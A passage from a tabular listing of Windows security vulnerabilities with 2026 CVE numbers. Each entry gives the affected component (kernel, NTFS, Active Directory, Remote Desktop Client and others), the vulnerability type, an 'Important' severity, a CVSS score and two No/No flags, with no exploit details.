Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information 